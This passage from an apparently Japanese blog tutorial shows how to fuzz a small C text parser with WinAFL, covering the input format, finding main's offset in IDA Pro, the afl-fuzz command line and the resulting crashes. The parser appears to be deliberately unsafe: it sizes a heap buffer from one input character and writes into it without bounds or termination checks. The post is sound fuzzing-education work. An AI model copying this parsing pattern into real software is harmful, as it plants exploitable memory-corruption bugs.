    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; offset &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; counter &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ch &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fgetc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;offset &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ch&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&apos;1&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
                stream &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&apos;0&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
                stream &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; output&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token function&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;parse error&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;offset&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;offset &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; ch &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;47&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            buf &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token function&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;buf&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&apos;\0&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            counter &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; size&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;offset&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;continue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;counter &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            buf&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; counter&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ch&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;counter&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;offset&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; 
        &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            buf&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; counter&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ch&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token function&quot;&gt;fprintf&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stream&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;%s\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; buf&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            counter &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            offset &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; argc&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    FILE &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    FILE &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;output&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Start&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    input &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Failed to fopen input file\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    output &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;argv&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;output &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;perror&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Failed to fopen output file\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;parse_text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; output&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;output&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Done&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;上記ソースコードは下記の動作をします。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1文字目が&lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;の場合は&lt;code class=&quot;language-text&quot;&gt;stdout&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;0&lt;/code&gt;の場合は&lt;code class=&quot;language-text&quot;&gt;arg[2]&lt;/code&gt;で指定したファイルへ出力&lt;/li&gt;
&lt;li&gt;2文字目が出力するテキストのサイズ指定&lt;/li&gt;
&lt;li&gt;3文字目から指定サイズ文の文字列を出力&lt;/li&gt;
&lt;li&gt;1文字目から再カウント&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下記input.txtを引数に&lt;code class=&quot;language-text&quot;&gt;txt_parser input.txt output.txt&lt;/code&gt;を実行した場合、標準出力には&lt;code class=&quot;language-text&quot;&gt;abcd&lt;/code&gt;、output.txtには&lt;code class=&quot;language-text&quot;&gt;thisisstr&lt;/code&gt;と&lt;code class=&quot;language-text&quot;&gt;end&lt;/code&gt;が出力されます。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;input.txt&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;txt&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-txt line-numbers&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;14abcd09thisisstr03end&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;u2-オプション-target_offsetの確認u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u2-%E3%82%AA%E3%83%97%E3%82%B7%E3%83%A7%E3%83%B3-target_offset%E3%81%AE%E7%A2%BA%E8%AA%8Du&quot; aria-label=&quot;u2 オプション target_offsetの確認u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;2. オプション”-target_offset”の確認&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;WinAFL実行時のtarget functionのoffsetを確認します。&lt;/p&gt;
&lt;p&gt;やり方はたくさんあると思いますが、ここではIDA proで今回のターゲット関数であるmain関数のoffsetを確認します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200411_winafl/offset_of_main.png&quot; alt=&quot;main関数の先頭アドレスの図&quot; title=&quot;main関数の先頭アドレスの図&quot;&gt;&lt;/p&gt;
&lt;p&gt;main関数が0x401537で始まっているのでBase addressが0x400000、offsetが0x1537であると分かります。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;u3-winaflの実行u&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#u3-winafl%E3%81%AE%E5%AE%9F%E8%A1%8Cu&quot; aria-label=&quot;u3 winaflの実行u permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;3. WinAFLの実行&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;afl-fuzz.exeが置いてあるディレクトリと同じディレクトリに以下の2つを配置します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;txt_parser.exe&lt;/li&gt;
&lt;li&gt;testcases\input.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;次に以下のコマンドを実行します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;WinAFL実行&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-bash line-numbers&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; C:&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;winafl&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;build32&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;bin&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;Release
$ afl-fuzz.exe &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; testcases &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; results &lt;span class=&quot;token parameter variable&quot;&gt;-D&lt;/span&gt; C:&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;dynamorio&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;build&lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;bin32 &lt;span class=&quot;token parameter variable&quot;&gt;-t&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10000&lt;/span&gt;+ -- &lt;span class=&quot;token parameter variable&quot;&gt;-target_module&lt;/span&gt; txt_parser.exe &lt;span class=&quot;token parameter variable&quot;&gt;-target_offset&lt;/span&gt; 0x1537 &lt;span class=&quot;token parameter variable&quot;&gt;-coverage_module&lt;/span&gt; txt_parser.exe &lt;span class=&quot;token parameter variable&quot;&gt;-nargs&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; -- txt_parser.exe @@ output.txt&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;※ afl-fuzz.exeと同じディレクトリにターゲットバイナリを置いたのはafl-fuzz.exe実行時に下記のUnable to load client libraryエラーが出てしまうのを防ぐためです。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200411_winafl/unable_to_load_client_library.png&quot; alt=&quot;Unable to load client libraryエラー&quot; title=&quot;Unable to load client libraryエラー&quot;&gt;&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;Fuzzing実行中には以下の画面が表示され、進捗を確認することができます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200411_winafl/prompt_winafl.png&quot; alt=&quot;WinAFLのステータス画面&quot; title=&quot;WinAFLのステータス画面&quot;&gt;&lt;/p&gt;
&lt;p&gt;exec speedがzzzz…と表示されておりFuzzingの効率は悪い状態ですが、今回は良しとしましょう。&lt;/p&gt;
&lt;p&gt;unique crashが4つ見つかっているのでcrashesフォルダを確認すると、crashを引き起こすインプットファイルが保存されています。&lt;/p&gt;
&lt;p&gt;これらのファイルを入力することでcrashを簡単に再現させることもできます。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200411_winafl/crashes.png&quot; alt=&quot;crashesファイル&quot; title=&quot;crashesファイル&quot;&gt;&lt;/p&gt;
&lt;p&gt;各項目が意味する内容について、&lt;a href=&quot;https://afl-1.readthedocs.io/en/latest/user_guide.html&quot;&gt;AFL User Guide&lt;/a&gt;を参考に、上の画面内に赤字で付与した(1)～(6)の順で以下に概要を記載していきます。&lt;/p&gt;
&lt;br&gt;
&lt;h2 id=&quot;winaflステータス画面&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#winafl%E3%82%B9%E3%83%86%E3%83%BC%E3%82%BF%E3%82%B9%E7%94%BB%E9%9D%A2&quot; aria-label=&quot;winaflステータス画面 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 